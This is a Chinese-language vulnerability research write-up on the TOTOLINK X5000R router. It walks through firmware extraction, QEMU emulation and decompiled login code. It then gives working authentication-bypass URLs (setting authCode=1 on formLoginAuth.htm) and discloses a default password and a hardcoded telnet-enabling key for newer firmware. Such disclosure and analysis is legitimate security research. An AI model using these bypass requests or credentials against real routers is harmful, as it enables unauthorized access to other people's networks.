TOTOLINK X5000R
《水》
信息搜集
固件下载:
https://totolink.cn/home/menu/detail.html?menu_listtpl=download&id=65&ids=36
获取一个新版本固件,一个旧版本(用于对比)
固件提取:固件均未加密,直接binwalk提取即可
binwalk -Me TOTOLINK_X5000R_V9.1.0u.6118.web
binwalk -Me TOTOLINK_X5000R_V9.1.0u.6369.web
获得文件系统:
大概看一下文件系统里面有什么,使用firmwalker简单分析一下,例如找到conf相关文件:
通过busybox看一下这个文件系统的架构:mips32,小端序
历史漏洞:
https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=X5000R
固件模拟
获取虚拟镜像和磁盘:
wget https://people.debian.org/~aurel32/qemu/mipsel/debian_wheezy_mipsel_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta
通过脚本启动QEMU
#set network
sudo brctl addbr virbr0
sudo ifconfig virbr0 192.168.5.1/24 up
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.5.11/24 up
sudo brctl addif virbr0 tap0
sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic
登陆默认密码为root/root
在QEMU中配置网络:
ifconfig eth0 192.168.5.12 up
将路由器文件系统(旧版本固件)传入QEMU中:
scp -r squashfs-root/ root@192.168.5.12:/root/
挂载启动文件系统:
chroot ./squashfs-root/ /bin/sh
使用lighttpd.conf启动Web服务:
lighttpd -f lighttp/lighttpd.conf -m lighttp/lib/
提示没有/var/run/lighttpd.pid,那就手动创建一下并再启动一次:
mkdir /var/run && touch /var/run/lighttpd.pid
成功启动,访问一下试试:
固件分析
先尝试抓个登陆包看看是那个程序用于处理web数据:
先看第一个包:
可以看到调用了cstecgi.cgi这个文件,分析一下这个程序:
丢IDA里看看,根据响应包找一下action=login字符串:
查看交叉引用,F5一下:
大概捋一下这个函数是干啥的:
loginAuthUrl = websGetVar(a1, "loginAuthUrl", &byte_437F70);
Object = cJSON_CreateObject();
v3 = 0;
v32 = v24;
while ( 1 )
{
v5 = v3 + 1;
if ( getNthValueSafe(v3, loginAuthUrl, "&", v22) == -1 )
break;
if ( getNthValueSafe(0, v22, "=", v23) != -1 && getNthValueSafe(1, v22, "=", v32) != -1 )
{
String = cJSON_CreateString(v32);
cJSON_AddItemToObject(Object, v23, String);
}
v3 = v5;
}
username = websGetVar(Object, "username", &byte_437F70);// 获取username
password = websGetVar(Object, "password", &byte_437F70);// 获取password
http_host = websGetVar(Object, "http_host", &byte_437F70);
flag = websGetVar(Object, "flag", &word_436104);
wizard_flag = nvram_get_int("wizard_flag");
if ( wizard_flag )
{
if ( ((v11 = nvram_safe_get("opmode_custom"), !strcmp(v11, "gw")) || !strcmp(v11, "wisp")) && isWanConnected()
|| !strcmp(v11, "rpt") && get_apcli_connected() == 1
|| !strcmp(v11, "br") && nvram_get_int("dl_status_lan") == 1 )
{
wizard_flag = 0;
}
}
urldecode(password, decode_password);
http_username = nvram_safe_get("http_username");
strcpy(cp_http_username, http_username); // 获取http_username
http_passwd = nvram_safe_get("http_passwd");
strcpy(cp_http_passwd, http_passwd); // 获取http_passwd
if ( *http_host )
strcpy(cp_http_host, http_host);
else
strcpy(cp_http_host, v30);
check_username = strcmp(username, cp_http_username);// 检查username
v15 = strcmp(decode_password, cp_http_passwd) || check_username != 0;// 检查password
if ( flag )
strcpy(username, cp_http_username);
if ( !strcmp(username, cp_http_username) && !strcmp(decode_password, cp_http_passwd) )// 检查通过
{
if ( !strcmp(flag, "ie8") ) // 判断浏览器类型
{
strcpy(v20, "wan_ie.html");
}
else if ( atoi(flag) == 1 )
{
if ( wizard_flag )
strcpy(v20, "phone/wizard.html");
else
strcpy(v20, "phone/home.html");
}
else if ( wizard_flag )
{
strcpy(v20, "wizard.html");
}
else
{
strcpy(v20, "home.html");
}
nvram_set_int_temp("cloudupg_checktype", 1);
doSystem("lktos_reload %s", "cloudupdate_check 2>/dev/null");
}
else // 检查不通过
{
if ( !strcmp(flag, "ie8") )
{
strcpy(v20, "login_ie.html");
}
else if ( atoi(flag) == 1 )
{
strcpy(v20, "phone/login.html");
}
else
{
strcpy(v20, "login.html");
}
if ( v15 )
system(&unk_4373F8);
}
snprintf(httpStatus302, 0x1000, "{\"httpStatus\":\"%s\",\"host\":\"%s\"", "302");
httpStatus302_len = strlen(httpStatus302);
if ( atoi(flag) == 1 )
{
snprintf(
&httpStatus302[httpStatus302_len],
0x1000 - httpStatus302_len,
",\"redirectURL\":\"http://%s/formLoginAuth.htm?authCode=%d&userName=%s&goURL=%s&action=login&flag=1\"}",
cp_http_host);
}
else if ( !strcmp(flag, "ie8") )
{
snprintf(
&httpStatus302[httpStatus302_len],
0x1000 - httpStatus302_len,
",\"redirectURL\":\"http://%s/formLoginAuth.htm?authCode=%d&userName=%s&goURL=%s&action=login&flag=ie8\"}",
cp_http_host);
}
else
{
snprintf(
&httpStatus302[httpStatus302_len],
0x1000 - httpStatus302_len,
",\"redirectURL\":\"http://%s/formLoginAuth.htm?authCode=%d&userName=%s&goURL=%s&action=login\"}",
cp_http_host);
}
v17 = cJSON_Parse(httpStatus302);
redirectURL = websGetVar(v17, "redirectURL", &byte_437F70);
puts("HTTP/1.1 302 Redirect to page");
puts("Content-type: text/plain");
puts("Connection: Keep-Alive\nPragma: no-cache\nCache-Control: no-cache");
printf("Location: %s\n\n", redirectURL);//Location
printf("protal page");
主要功能就是检查username和password;
分析一下lighttpd:
根据formLoginAuth.htm定位:
可以看到我们的请求经过strstr()函数后将进入Form_Login函数:
函数获取了authCode==》
当authCode=1进入if的代码块中将获取SESSION_ID,若符合条件:获取SESSION_ID cookie的值存储于V15,并通过这个值检查这个会话是否有效==》当然这个是成立的,也不需要绕过啥的==》将返回home.html,也就是说可以绕过登陆验证==》
home.html将重定向至/basic/index.html:
漏洞验证(旧未授权登陆)
只需要修改一下原包:authCode=0改为1即可
#原包:
/formLoginAuth.htm?authCode=0&userName=&goURL=login.html&action=login
#修改:
/formLoginAuth.htm?authCode=1&userName=&action=login
#或者:
/formLoginAuth.htm?authCode=1&userName=&goURL=home.html&action=login
测一下:
成功未授权登陆:/basic/index.html
新版本固件测试
同样的方法模拟固件,启动Web服务,直接测试旧版本固件未授权访问URL:
http://192.168.5.12/formLoginAuth.htm?authCode=1&userName=&action=login
尝试登陆抓包试试看与旧版本固件有什么区别:
默认就采用了admin用户,但是返回并没有像旧版本那样采用formLoginAuth.htm?
在我分析cstecgi.cgi的时候无意中发现貌似可以开启telnet:
并于配置中找到了新版本固件登陆的默认密码admin和开启telnet的key:KL@UHeZ0